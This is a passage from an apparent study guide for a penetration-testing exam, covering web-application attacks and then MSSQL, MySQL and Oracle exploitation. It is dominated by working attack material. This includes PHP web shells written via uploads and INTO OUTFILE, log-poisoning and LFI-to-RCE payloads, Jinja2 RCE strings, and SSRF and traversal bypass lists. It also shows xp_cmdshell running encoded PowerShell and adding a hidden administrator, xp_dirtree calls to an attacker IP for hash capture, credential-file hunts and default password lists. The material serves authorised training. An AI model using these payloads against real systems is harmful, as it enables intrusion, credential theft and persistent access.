```
# JPEG magic + PHP comment + PHP code
printf '\xff\xd8\xff\xe0' > shell.jpg
echo '<?php system($_GET["c"]); ?>' >> shell.jpg
```

Image content validation (e.g., `getimagesize()` or actually re-encoding the image):

Bypass: embed PHP in EXIF metadata of a real JPEG, then upload. Re-encoding may strip EXIF; check.

```
exiftool -Comment='<?php system($_GET["c"]); ?>' image.jpg
mv image.jpg image.php.jpg
```

If the upload renames to a deterministic location and the file is then served as PHP (because of double extension or bypass), the PHP executes when accessed.

8.17.2 Path Traversal in Upload

If the upload accepts an arbitrary filename, you may be able to traverse out of the upload directory:

```
filename=../../../../var/www/html/shell.php
```

Combined with extension confusion:

```
filename=../../../../var/www/html/shell.php%00.jpg
```

8.17.3 Server-Side Reflection / Pseudo-Storage XSS

When uploads are served from the same origin as the application, an HTML file or SVG with embedded scripts becomes stored XSS:

```
# Upload as malicious.html
echo '<script>alert(document.cookie)</script>' > malicious.html

# Or SVG (often accepted as image)
cat > xss.svg <<'EOF'
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>
EOF
```

Mitigation (which good apps implement): serve uploads from a separate origin, set `Content-Disposition: attachment`, set strict `Content-Type` based on validation.

8.17.4 ZIP Slip and Archive Traversal

When the application accepts a ZIP and extracts it, paths inside the ZIP that traverse directories (`../../../../etc/cron.d/job`) write outside the intended extraction directory.

Most languages' ZIP libraries no longer permit this, but legacy code does.

```
# Create a malicious ZIP
mkdir -p evil
cd evil
ln -s /etc/passwd link
zip --symlinks evil.zip link

# Or via crafted entry name
python3 -c "
import zipfile
z = zipfile.ZipFile('evil.zip','w')
z.writestr('../../../../etc/cron.d/pwn', '* * * * * root id > /tmp/pwn\n')
z.close()
"
```

8.18 Parameter Manipulation (G20)

The general technique of modifying request parameters in transit. Burp Suite is the natural tool.

8.18.1 What to Manipulate

For each request:

- **GET parameters:** ?id=, ?user=, ?role=, ?file=, etc.
- **POST body fields** (form-encoded or JSON or XML)
- **HTTP headers:** User-Agent, Referer, Cookie, Authorization, Host, X-Forwarded-For, X-Original-URL
- **URL path elements:** `/users/123/profile` -> try `/users/124/profile`
- **Cookies:** session, preferences, role flags

8.18.2 Common Bypasses via Headers

Header	Effect on some applications
X-Forwarded-For: 127.0.0.1	May convince an IP-based ACL the request is local
X-Forwarded-Host: localhost	Some apps trust this for URL generation
X-Real-IP: 127.0.0.1	Same
X-Original-URL: /admin	Some reverse proxies dispatch on this
X-Rewrite-URL: /admin	Same
Host: localhost	Sometimes works for vhost-based ACLs
Referer: http://target/admin/	Some apps check this for “came from admin” auth
User-Agent: googlebot/...	Some apps treat search bots specially

8.18.3 Parameter Pollution

Sending the same parameter twice. Different web servers/frameworks handle this differently:

- PHP: last value wins (`?a=1&a=2` -> `a=2`)
- Java: first value wins
- ASP.NET: comma-concatenated (`?a=1&a=2` -> `a=1,2`)
- Node.js Express: array (`?a=1&a=2` -> `a=['1','2']`)

The differences create vulnerabilities when, e.g., an authenticator sees one value but the back-end sees another.

8.18.4 HTTP Verb Tampering

Some frameworks dispatch on URL but apply auth on verb. If the auth says “POST to /admin requires admin role” but the framework also accepts GET, sending `GET /admin` may bypass.

8.19 Web Application Logic Flaws (G21)

These are vulnerabilities specific to the application’s intended workflow rather than to a generic class. Examples:

8.19.1 Functional Logic Flaws

- A multi-step checkout where step 3 checks payment but step 4 does not re-verify before processing
- An order where you can submit a negative quantity, refunding you instead of charging
- A coupon code system where applying the same coupon multiple times stacks discounts
- A “preview” feature that exposes draft content to non-authors
- A registration flow where step 2 lets you set the user_id of the account being created

8.19.2 Function Access Control

- An admin function that the application hides via JavaScript but the endpoint is not access-controlled
- A “complete this task” function that does not verify the task belongs to the current user
- Mass-assignment of fields including `is_admin` (covered earlier)

8.19.3 Business Logic Flaws

- Race conditions in financial transactions
- Limit bypass via parallel requests
- Pricing manipulation
- State machine violations (e.g., shipping an order that has not been paid)

These flaws are best found by **understanding the application’s intended workflow** and then asking “what assumption is the developer making that I can violate?”. Tools cannot find them because they are domain-specific.

8.20 Web Cryptography (G22)

Cryptographic findings in web applications:

8.20.1 Encoded Values

Identifying and decoding encoded values is a frequent CRT task.

Base64: `=` or `==` padding, only `[A-Za-z0-9+/]`.

```
echo "U3VwZXJTZWNYZXQ=" | base64 -d
# > SuperSecret

# Burp Decoder tab handles this in seconds
```

URL encoding: `%XX` where XX is hex.

```
echo "Hello%20World%21" | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
```

HTML entities: `&`, `<`, `A` (numeric), `A` (hex).

Hex: `48656c6c6f` -> `Hello`.

```
echo "48656c6c6f" | xxd -r -p
```

ROT13: `Uryyb` -> `Hello`.

```
echo "Uryyb" | tr 'A-Za-z' 'N-ZA-Mn-m'
```

JWT: covered in section 8.12.4.

8.20.2 Cryptographic Hashes (MD5, SHA-1, SHA-256)

Identifying hashes by length and character set:

Length	Charset	Likely hash
32 hex	a-f0-9	MD5 (or NTLM)
40 hex	a-f0-9	SHA-1
56 hex	a-f0-9	SHA-224
64 hex	a-f0-9	SHA-256
96 hex	a-f0-9	SHA-384
128 hex	a-f0-9	SHA-512
16 hex	a-f0-9	DES, MySQL323
~28 base64	a-zA-Z0-9+/=	SHA-1 in base64 (LDAP {SHA})

`hashid` and `hash-identifier` make educated guesses:

```
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
> MD5
> NTLM
> [...]
```

The application of an unsalted, fast hash to passwords is a finding even when the algorithm itself is sound (MD5, SHA-256). Modern best practice for password storage is bcrypt, scrypt, or Argon2.

8.20.3 Insecure Random

Web applications generating tokens (session IDs, password reset tokens, CSRF tokens, API keys) need cryptographically secure randomness. Findings to look for:

- Sequential or time-based tokens
- Tokens generated from `Math.random()` or `rand()` rather than `crypto.randomBytes()`
- Tokens with insufficient entropy (10-character alphanumeric tokens have ~60 bits of entropy - just barely adequate)
- Reusable tokens

Burp Sequencer analyses entropy:

1. Capture 200+ tokens (intercept logins or token-issuing requests)
2. Send to Sequencer

3. View results (bit-level entropy, character-level entropy, distribution analysis)

8.20.4 Padding Oracle Attacks

When an application encrypts data with a block cipher in CBC mode and reveals (via different errors or response timing) whether decryption padding was valid, an attacker can decrypt arbitrary ciphertexts byte-by-byte.

Tools: `padbuster` (older but functional), `bletchley`, `padding-oracle-attack` (Python implementations).

```
padbuster http://target/page?cookie=BASE64CIPHERTEXT BASE64CIPHERTEXT 16 -cookies "session=BASE64CIPHERTEXT"
```

Out of scope for typical CRT exam scenarios but in the syllabus.

8.20.5 TLS Best Practice

Already covered in section 5.1. As a finding:

- Lack of TLS for an authenticated application is a finding
- Mixed content (HTTPS pages loading HTTP assets) is a finding
- HSTS missing is a finding
- HSTS without `includeSubDomains` is a partial finding
- Long-lived TLS certificates (validity > 397 days) violate baseline browser policy from 2020

8.21 Directory Traversal (G23)

8.21.1 Mechanism

When a web application reads, writes, or includes files based on user-supplied paths without proper validation, an attacker can use `../` sequences to escape the intended directory.

```
// Vulnerable
$page = $_GET['page'];
include("/var/www/pages/" . $page . ".php");

// Attacker:
$page=../../../../etc/passwd%00
```

The `%00` (null byte) terminates the string before `.php` is appended. PHP < 5.3 honoured this; modern PHP does not.

8.21.2 Detection Probes

```
?file=../../../../etc/passwd
?file=../../../../../../etc/passwd           # deeper
?file=..%2F..%2F..%2Fetc%2Fpasswd             # URL-encoded
?file=..%252F..%252F..%252Fetc%252Fpasswd     # double URL-encoded
?file=...//...//...//etc/passwd               # bypass single replace
?file=..%c0%af..%c0%af..%c0%afetc/passwd      # UTF-8 overlong (legacy)
?file=/etc/passwd                             # absolute path
?file=/etc/passwd%00                          # null byte
?file=/etc/passwd%00.png                      # null byte with extension
?file=php://filter/convert.base64-encode/resource=index.php # PHP wrapper
?file=expect://id                            # PHP expect wrapper (rare)
?file=data://text/plain;base64,PD9waHAga3lzdGVtKCRFR0VUWydjJ10pOyA/Pg== # data wrapper

# Windows
?file=../../../../Windows/win.ini
?file=..%5C..%5C..%5CWindows%5Cwin.ini
?file=C:\Windows\System32\drivers\etc\hosts
```

8.21.3 Local File Inclusion (LFI) vs Remote File Inclusion (RFI)

LFI: include a local file. Reads contents into the response.

RFI: include a remote file via `http://`, `https://`, or `ftp://` scheme. PHP requires `allow_url_include = On` (which has been the default off since PHP 5.2 - rarely enabled today).

When LFI is found in PHP and `allow_url_include` is enabled, this is RCE because you point the inclusion at attacker-controlled content.

8.21.4 LFI to RCE Techniques

When direct RFI is not available, these LFI-to-RCE techniques exist:

1. **Log poisoning:** write PHP code to a log file via a controlled HTTP request, then include the log:

```
# Inject PHP into Apache access log via User-Agent
curl -A '<?php system($_GET["c"]); ?>' http://target/

# Then include the log
http://target/?file=/var/log/apache2/access.log&u=id
```

2. **/proc/self/environ poisoning** (older Linux): include `/proc/self/environ`, send PHP code in the User-Agent header, the request that triggers the include is itself the request whose env is included.

3. **PHP session file**: PHP stores session data in `/var/lib/php/sessions/sess_<sessionid>`. Inject PHP into a session value, then include the session file.

4. **Mail injection**: send a crafted mail to a local user; include the mail spool.

5. **PHP `php://filter`**: read source code of PHP files (encoded so the include does not execute):

```
?file=php://filter/convert.base64-encode/resource=config.php
```

The response contains base64 of `config.php`, which decodes to the source - including any DB credentials.

6. **PHP `data://`**: when `allow_url_include` is on (rare):

```
?file=data://text/plain;base64,PD9waHAga3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==
```

8.21.5 Tool: ffuf for Path Traversal Discovery

```
ffuf -u "http://target/page.php?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
```

8.22 Server-Side Template Injection (Implicit in G3 + G16)

When a templating engine evaluates user-supplied template content, the result is RCE in many engines. Common templating engines:

- **Jinja2** (Flask, Django) - `{{ ... }}` for expressions
- **Twig** (Symfony, Drupal 8+) - `{{ ... }}` for expressions
- **Smarty** (PHP) - `{ $ ... }`
- **Freemarker** (Java) - `${...}`
- **Velocity** (Java) - `${...}`
- **ERB** (Ruby) - `<%= ... %>`
- **Handlebars** (JavaScript) - `{{ ... }}`
- **Mustache** - `{{ ... }}`

Detection:

```
{{ 7*7 }}      -> if reflected as "49", template injection
${ 7*7 }
<%= 7*7 %>
#{7*7}         -> Ruby, Java
*(7*7)         -> some Java
@(7*7)         -> Razor (.NET)
```

Jinja2 RCE example:

```
{{ '.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

{{ config.items() }}                                     # if 'config' is exposed

{{ self.__class__.__mro__[1].__subclasses__() }}         # find subclasses
{{ '.__class__.__mro__[1].__subclasses__()[X]('cmd', shell=True, stdout=-1).communicate() }}
                                                         # X = index of subprocess.Popen
```

The `tplmap` tool automates SSTI detection and exploitation.

8.23 Server-Side Request Forgery (SSRF)

When the server makes HTTP (or other) requests to URLs the user controls, an attacker can make the server reach:

- Internal-only services (databases, admin panels, metadata endpoints)
- Cloud metadata services (AWS `169.254.169.254`, Azure `169.254.169.254`)
- The local host (`localhost`, `127.0.0.1`)
- Other tenants in shared cloud environments

8.23.1 Vulnerable Patterns

```
$image = file_get_contents($_GET['url']); // SSRF
$result = curl_exec($_GET['url']); // SSRF
```

Common vulnerable features:

- “Import from URL” file upload
- Webhook configuration
- “Health check” features that fetch a configurable URL
- PDF generation from a URL
- OAuth callback handlers
- “Open Graph” preview generators

8.23.2 Exploitation

```
# Cloud metadata (AWS - the classic)
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# AWS IMDSv2 requires a token first - older v1 just returns
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

# Azure
?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H "Metadata: true"

# GCP
?url=http://metadata.google.internal/computeMetadata/v1/ -H "Metadata-Flavor: Google"

# Internal services
?url=http://127.0.0.1:6379/ # Redis
?url=http://127.0.0.1:9200/ # Elasticsearch
?url=http://localhost:8080/admin/

# Port scan via SSRF
for p in 80 443 8080 22 25 3306 5432 6379 9200; do
    curl "http://target/fetch?url=http://127.0.0.1:$p/"
done
```

8.23.3 SSRF Filter Bypasses

When the application blocks `localhost` and `127.0.0.1`:

```
http://0.0.0.0/ # all-zeros loopback
http://127.1/ # short form
http://127.0.0.0.1/ # extra octets ignored
http://127.000.000.001/ # zero-padded
http://0177.0.0.1/ # octal
http://2130706433/ # decimal of 127.0.0.1
http://0x7f.0.0.1/ # hex
http://[::1]/ # IPv6 loopback
http://[::ffff:127.0.0.1]/ # IPv6-mapped
http://localhost.target.com/ # if attacker controls DNS
http://attacker.com@127.0.0.1/ # username trick (some parsers)
http://127.0.0.1#@target.com/ # fragment trick
```

8.24 The OWASP Top Ten Cross-Reference

The OWASP Top Ten is the de facto standard list of web application risks. The current (2021) ten and where they are covered in this book:

OWASP Top 10 (2021)	This book
A01:2021 - Broken Access Control	8.10
A02:2021 - Cryptographic Failures	8.20 (and 5.1 for TLS)
A03:2021 - Injection	8.14 (SQL), 8.15 (mail), 8.16 (OS), 8.21 (path traversal), 8.22 (template)
A04:2021 - Insecure Design	8.19
A05:2021 - Security Misconfiguration	8.1, 8.2, 8.4
A06:2021 - Vulnerable Components	Throughout (component fingerprinting + version-specific exploits)
A07:2021 - Identification and Authentication Failures	8.9
A08:2021 - Software and Data Integrity Failures	(deserialisation, dependency confusion)
A09:2021 - Security Logging and Monitoring Failures	(out of CRT scope)
A10:2021 - Server-Side Request Forgery	8.23

8.25 Web Application Testing Methodology

A condensed methodology suitable for the time pressure of the CRT exam:

Step 1 - Reconnaissance (10-15 min for a single application)

- `whatweb` and `nikto` to fingerprint
- Check `/robots.txt`, `/sitemap.xml`
- Run `ffuf` or `feroxbuster` against directory wordlists
- Check well-known paths: `/admin/`, `/login`, `/api/`, `/swagger`, `/.git/`, `/.env`, `/backup/`, `/test/`
- View source on the home page; capture interesting comments and JS references

Step 2 - Map the Application

- Click through every visible link with Burp recording
- Authenticate with each role available; capture sessions
- Build a list of all URLs with parameters
- Identify each parameter's apparent purpose

Step 3 - Authentication Testing

- Test username enumeration on login (different responses?)
- Test brute force resistance (lockout? rate limit?)
- Test password reset flow
- Check session cookie attributes
- Check session timeout
- Check logout invalidates session server-side

Step 4 - Authorisation Testing

- For each endpoint, test:
 - Anonymous access
 - Lower-privilege user access
 - Different user's resources (IDOR)
- Test forced browsing to admin URLs
- Test parameter tampering for role/access

Step 5 - Input Validation Testing

For each parameter (URL params, form fields, headers):

- SQL injection probes (`'`, `''`, `--`, `OR 1=1`)
- XSS probes (`<script>alert(1)</script>`, `"><img src=x onerror=alert(1)>`)
- Command injection probes (`;id`, `|id`, ``id``)
- Path traversal probes (`../../../../../etc/passwd`)
- LDAP injection probes (`(*)(uid=*)`)
- XML/XXE probes if XML accepted
- Template injection probes (`{{7*7}}`)

Step 6 - Specific Functionality

- File upload: try every bypass
- File download: try traversal in filename parameter
- Search: try injection in search term
- Email/messaging: try mail injection
- Reports/exports: try injection in formula/template

Step 7 - Configuration

- Security headers (or absence thereof)
- TLS configuration
- Cookie attributes
- Verbose error messages
- Default credentials on identified components
- Backup files (`.bak`, `.old`, `~`, `.swp`)

8.26 Section Summary

The web application section is the largest of the CRT. Mastery requires:

1. Fluency with Burp Suite Professional - particularly Repeater, Intruder, Decoder
2. Familiarity with the OWASP Top Ten and the techniques for each
3. The methodology to systematically map and test an application within time pressure
4. The specific exploitation techniques for SQL injection (across MySQL, MSSQL, Oracle, PostgreSQL), command injection (Linux and Windows), file upload, directory traversal, template injection, and SSRF
5. The cryptographic basics: hash identification, encoded value decoding, JWT analysis

Web Technologies is the largest single appendix in the syllabus (23 skill areas in G1-G23). Mastery here pays off across many exam questions. Time invested in Burp Suite fluency and the systematic methodology in section 8.25 has the highest practical return on study time.

The next chapter covers the database appendix, which has significant overlap with SQL injection but adds direct database protocol exploitation.

Part 9: Databases (Appendix H - PT009)

This chapter covers the database-specific assessment techniques in Appendix H. Databases are tested in two contexts on the CRT: as a back-end attacked via SQL injection (covered in chapter 8), and as direct network services accessed over their native protocols (the focus of this chapter).

9.1 SQL Relational Database Fundamentals (H1)

A relational database stores data in tables (relations) with rows (tuples) and columns (attributes). The structured query language (SQL) is the standard interface. Despite vendor variations, the core SQL is portable; the dialects diverge in advanced features.

9.1.1 Connection Methods

Applications connect to databases via:

Native client libraries: each DB has a wire protocol; clients implement that protocol directly. The most efficient option, used by command-line tools (`mysql`, `psql`, `sqlplus`).

ODBC (Open Database Connectivity): a standardised API. The application talks to ODBC; ODBC drivers translate to each native protocol. Common in Windows applications.

JDBC (Java Database Connectivity): Java equivalent of ODBC. Uses driver JARs.

ADO.NET: Microsoft's data access in .NET.

Object-Relational Mappers (ORMs): SQLAlchemy, Hibernate, Entity Framework, ActiveRecord. These wrap the native libraries with object-oriented interfaces.

9.1.2 Connection Strings

Connection strings encode the database location, credentials, and options. Examples:

JDBC:

```
jdbc:mysql://10.10.10.50:3306/dbname?user=admin&password=secret
jdbc:sqlserver://10.10.10.50:1433;DatabaseName=dbname;User=sa;Password=secret
jdbc:postgresql://10.10.10.50:5432/dbname?user=postgres&password=secret
jdbc:oracle:thin:@10.10.10.50:1521:ORCL
```

ODBC:

```
Driver={SQL Server};Server=10.10.10.50,1433;Database=dbname;Uid=sa;Pwd=secret;
Driver={MySQL ODBC 8.0 Driver};Server=10.10.10.50;Database=dbname;User=admin;Password=secret;
```

.NET:

```
Data Source=10.10.10.50;Initial Catalog=dbname;User ID=sa;Password=secret;
Server=10.10.10.50;Database=dbname;Trusted_Connection=True;
```

Connection strings in source code, configuration files, or environment variables are gold. The standard hunt:

```
# Linux
grep -r -E "jdbc:|Server=|Data Source=|connection.string" /var/www /opt /etc 2>/dev/null
find / -name "*.config" 2>/dev/null | xargs grep -l -i "password" 2>/dev/null
find / -name "web.config" -o -name "application.properties" -o -name "config.php" 2>/dev/null

# Windows
findstr /si "ConnectionString" *.config *.xml *.cs *.aspx 2>nul
```

9.1.3 SQLite

A serverless, file-based database. The “database” is a single file (usually `.db`, `.sqlite`, `.sqlite3`). Common in mobile apps, embedded systems, browsers (Firefox, Chrome cookie/history stores).

If you find a SQLite file via path traversal, file disclosure, or backup file:

```
# Inspect schema
sqlite3 found.db ".schema"
sqlite3 found.db ".tables"

# Dump
sqlite3 found.db ".dump"

# Query
sqlite3 found.db "SELECT * FROM users;"

# Or interactive
sqlite3 found.db
sqlite> .tables
sqlite> .schema users
sqlite> SELECT * FROM users WHERE role='admin';
sqlite> .quit
```

There is no network protocol for SQLite - it is purely a file format. The “exploit” of a SQLite database is reading or writing the file.

9.2 Microsoft SQL Server (H2)

9.2.1 Discovery

Default port: TCP/1433. Browser: UDP/1434. Older instances may use SQL Browser to advertise instance names.

```
# Direct probe
sudo nmap -sS -p 1433 10.10.10.0/24
sudo nmap -sU -p 1434 10.10.10.50 # SQL Browser UDP

# Comprehensive discovery script
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dump-hashes -p 1433 10.10.10.50

# ms-sql-info discloses:
# - Version (specific build)
# - SP level
# - Authentication mode (Windows / Mixed)
# - SQL Server name and instance name
```

9.2.2 Authentication

MSSQL supports two authentication modes:

- **Windows Authentication:** integrated with AD. The connecting user's Windows credential is used.
- **SQL Authentication:** separate username/password stored in MSSQL.
- **Mixed Mode:** both supported. Most common in enterprise.

The default **sa** (System Administrator) account is the SQL-auth equivalent of root. On older or poorly-managed installations, **sa** has a blank or weak password.

```
# Test for empty sa password
nxc mssql 10.10.10.50 -u sa -p '' --local-auth

# Test wordlist of credentials
nxc mssql 10.10.10.50 -u users.txt -p passwords.txt --local-auth

# nmap brute
sudo nmap --script ms-sql-brute -p 1433 10.10.10.50

# Hydra
hydra -L users.txt -P passwords.txt 10.10.10.50 mssql

# Metasploit
msfconsole -q
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.10.10.50
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```

9.2.3 Connecting Manually

```
# Impacket
impacket-mssqlclient sa:'Password123!'@10.10.10.50

# Windows authentication (against domain-joined MSSQL)
impacket-mssqlclient corp.local/jdoe:'Password123!'@10.10.10.50 -windows-auth

# Command-line on the same host
sqlcmd -S 10.10.10.50 -U sa -P 'Password123!'

# CrackMapExec
nxc mssql 10.10.10.50 -u sa -p 'Password123!' --local-auth -q "SELECT @@version"
```

9.2.4 Initial Enumeration

Once connected:

```
-- Version
SELECT @@version;

-- Current user and login
SELECT CURRENT_USER;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

-- Databases
SELECT name FROM sys.databases;

-- Tables in current database
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;

-- Columns of a table
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users';

-- All logins
SELECT name, sid, type_desc FROM sys.server_principals;

-- All databases plus ownership
SELECT name, user_name(owner_sid) FROM sys.databases;

-- Linked servers (often a privesc path)
SELECT * FROM master..sys.servers;
EXEC sp_linkedservers;
```

9.2.5 xp_cmdshell - The Classic OS Command Vector

`xp_cmdshell` is an MSSQL stored procedure that executes shell commands as the SQL Server service account (often LOCAL SYSTEM, sometimes a domain account). It is **disabled by default since SQL Server 2005** but routinely re-enabled for various legitimate (and illegitimate) reasons.

If `xp_cmdshell` is enabled OR if you have `sysadmin` (and can enable it):

```
-- Enable if disabled
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Verify
EXEC xp_cmdshell 'whoami';
> NT AUTHORITY\SYSTEM -- jackpot

EXEC xp_cmdshell 'powershell -enc <base64-payload>';
EXEC xp_cmdshell 'net user newadmin Password123! /add & net localgroup administrators newadmin /add';
```

The simplified form via Impacket:

```
impacket-mssqlclient sa:'Password123!'@10.10.10.50
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
> NT AUTHORITY\SYSTEM
```

9.2.6 Other Command Execution Paths

When `xp_cmdshell` is restricted or you lack sysadmin:

`sp_OACreate` (OLE Automation):


```
-- Enable OLE Automation
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

-- Run a command via WScript.Shell
DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUT;
EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd /c whoami > C:\Temp\out.txt';
```

`xp_dirtree` to capture NetNTLMv2 hashes via UNC path:

```
EXEC xp_dirtree '\\10.10.14.5\share';
```

This causes the SQL Server service to attempt SMB authentication to your IP. Run Responder there to capture the service account's NetNTLMv2 hash. This is particularly powerful when the SQL service runs as a domain account (the captured hash is for that domain user).

`xp_subdirs` - same effect:

```
EXEC xp_subdirs '\\10.10.14.5\share';
```

`xp_fileexist` - same effect:

```
EXEC xp_fileexist '\\10.10.14.5\share\file.txt';
```

9.2.7 Linked Servers

When MSSQL is configured with linked servers, queries can be issued against remote MSSQL instances. The remote query may run with different privileges than the local connection. If `link.user` is sysadmin on the remote server, you can leverage the link for privilege escalation:

```
-- List linked servers
EXEC sp_linkedservers;
SELECT srvname, srvproduct, providename FROM master..sys.servers;

-- Query the linked server
SELECT * FROM OPENQUERY([linkedserver_name], 'SELECT @@version');

-- Execute commands via the linked server
EXEC ('xp_cmdshell 'whoami') AT [linkedserver_name];

-- Chain to xp_cmdshell on the remote
SELECT * FROM OPENQUERY([linkedserver_name], 'SELECT 1; EXEC xp_cmdshell 'whoami');
```

The `mssqlclient.py` Impacket tool has helpers for linked server enumeration:

```
SQL> enum_links
SQL> use_link <linkedserver>
```

9.2.8 Privilege Escalation Within MSSQL

IMPERSONATE privilege: a login with IMPERSONATE on a sysadmin can become sysadmin:

```
-- Find users you can impersonate
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate
EXECUTE AS LOGIN = 'sa';
SELECT IS_SRVROLEMEMBER('sysadmin');
> 1

-- Now you are sysadmin
EXEC xp_cmdshell 'whoami';
REVERT;
```

Trustworthy databases: a database marked `TRUSTWORTHY ON` whose owner is sysadmin allows users with `db_owner` in that database to escalate via `EXECUTE AS USER = 'dbo'` then chain to `EXECUTE AS LOGIN`.

9.2.9 Hash Extraction

If you have sysadmin, dump SQL login hashes:

```
SELECT name, password_hash FROM sys.sql_logins;
```

Hashes look like `0x0200<salt><hash>`. Hashcat mode 1731 (MSSQL 2012+) or 132 (MSSQL 2005-2008).

```
hashcat -m 1731 mssql_hashes.txt /usr/share/wordlists/rockyou.txt
```

9.3 MySQL / MariaDB (H3)

9.3.1 Discovery and Connection

Default port: TCP/3306.

```
# Discovery
sudo nmap --script mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-variables,mysql-brute -p 3306 10.10.10.10

# Connection
mysql -h 10.10.10.50 -u root -p
mysql -h 10.10.10.50 -u root -p'Password123!'
mysql -h 10.10.10.50 -u root -p'Password123!' -e "SHOW DATABASES;"

# CrackMapExec
nxc mysql 10.10.10.50 -u root -p 'Password123!' -q "SHOW DATABASES;"
```

9.3.2 Initial Enumeration

```
-- Version
SELECT VERSION();

-- Current user
SELECT USER(), CURRENT_USER();

-- Privileges
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';

-- Databases
SHOW DATABASES;
SELECT schema_name FROM information_schema.schemata;

-- Tables
USE dbname;
SHOW TABLES;
SELECT table_schema, table_name FROM information_schema.tables;

-- Columns
SHOW COLUMNS FROM users;
SELECT column_name FROM information_schema.columns WHERE table_name='users';

-- Users
SELECT user, host, password FROM mysql.user; -- MySQL <= 5.6
SELECT user, host, authentication_string FROM mysql.user; -- MySQL 5.7+

-- File-related privileges (key for exploitation)
SELECT user, file_priv FROM mysql.user;
SHOW VARIABLES LIKE 'secure_file_priv';
SHOW VARIABLES LIKE 'plugin_dir';
SHOW VARIABLES LIKE 'general_log%';
```

9.3.3 File Read and Write via FILE Privilege

If the connecting user has FILE privilege:

```
-- Read a file (must be readable by mysql user)
SELECT LOAD_FILE('/etc/passwd');

-- Write a file (must be writable by mysql user)
SELECT 'data' INTO OUTFILE '/tmp/output.txt';
SELECT 'data' INTO DUMPFILE '/tmp/output.bin'; -- binary-safe

-- Common: write a PHP shell
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
```

The `secure_file_priv` setting (since MySQL 5.7.6) restricts these to a specific directory. When set to a path, only that path is writable. When set to empty string, no restriction. When set to NULL, file functions are disabled entirely.

9.3.4 UDF (User-Defined Function) Exploitation

When FILE privilege exists and `plugin_dir` is writable, an attacker can:

1. Upload a UDF library (`.so` on Linux, `.dll` on Windows) into `plugin_dir`
2. CREATE FUNCTION pointing to a function in that library

3. Call the function to execute arbitrary commands

The `lib_mysqludf_sys` library provides a `sys_exec()` function exactly for this purpose:

```
-- Identify plugin_dir
SHOW VARIABLES LIKE 'plugin_dir';
> /usr/lib/mysql/plugin/

-- Upload lib_mysqludf_sys.so (via INTO DUMPFILE or any file write)
SELECT 0xELFDATA INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

-- Create function
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';

-- Execute
SELECT sys_exec('id > /tmp/out.txt');
```

In practice, on a CRT exam target, the simpler approach is:

1. Look for FILE privilege (`SELECT user, file_priv FROM mysql.user`)
2. Check if you can write to the web root (`SELECT '<?php ... ?>' INTO OUTFILE '/var/www/html/shell.php'`)
3. Browse to the resulting shell

9.3.5 Hash Extraction

```
-- MySQL 5.6 and earlier
SELECT user, password FROM mysql.user;

-- MySQL 5.7+
SELECT user, authentication_string FROM mysql.user;
```

The hash format is `*<40 hex chars>` for `mysql_native_password` (SHA1 of SHA1 of the password). Hashcat mode 300:

```
hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt
```

For MySQL 8 with `caching_sha2_password` (the new default), the format is different. Hashcat mode 7401.

9.4 Oracle Database (H4)

9.4.1 Architecture

Oracle is structurally different from the others. Components:

- **Listener** - the network process accepting connections (TCP/1521 default).
- **Database** - the actual data, identified by a SID (system identifier) or service name.
- **Schema** - logically equivalent to other databases' "database" or "namespace". Each user owns a schema.

Connecting requires both the listener address AND the SID/service name.

9.4.2 Discovery

```
# Identify Listener
sudo nmap --script oracle-tns-version,oracle-sid-brute -p 1521 10.10.10.50

# tnscommand10g (legacy tool) - sometimes still available
tnscmd10g version -h 10.10.10.50
tnscmd10g status -h 10.10.10.50

# odat - Oracle Database Attacking Tool (the modern standard)
odat all -s 10.10.10.50

# SID brute force
odat sidguesser -s 10.10.10.50 -p 1521
sudo nmap --script oracle-sid-brute -p 1521 10.10.10.50
```

A successful SID brute force is critical because without it you cannot connect.

9.4.3 Default Credentials

Oracle has many default credentials. Some classics:

Username	Password
SYS	change_on_install / manager
SYSTEM	manager
SCOTT	tiger
OUTLN	OUTLN
HR	HR
MDSYS	MDSYS
CTXSYS	CTXSYS
DBSNMP	DBSNMP
SYSMAN	OEM_TEMP
ANONYMOUS	ANONYMOUS
APEX_PUBLIC_USER	APEX_PUBLIC_USER

```
odat passwordguesser -s 10.10.10.50 -p 1521 -d <SID>
```

9.4.4 Connecting

```
# sqlplus (Oracle's official client)
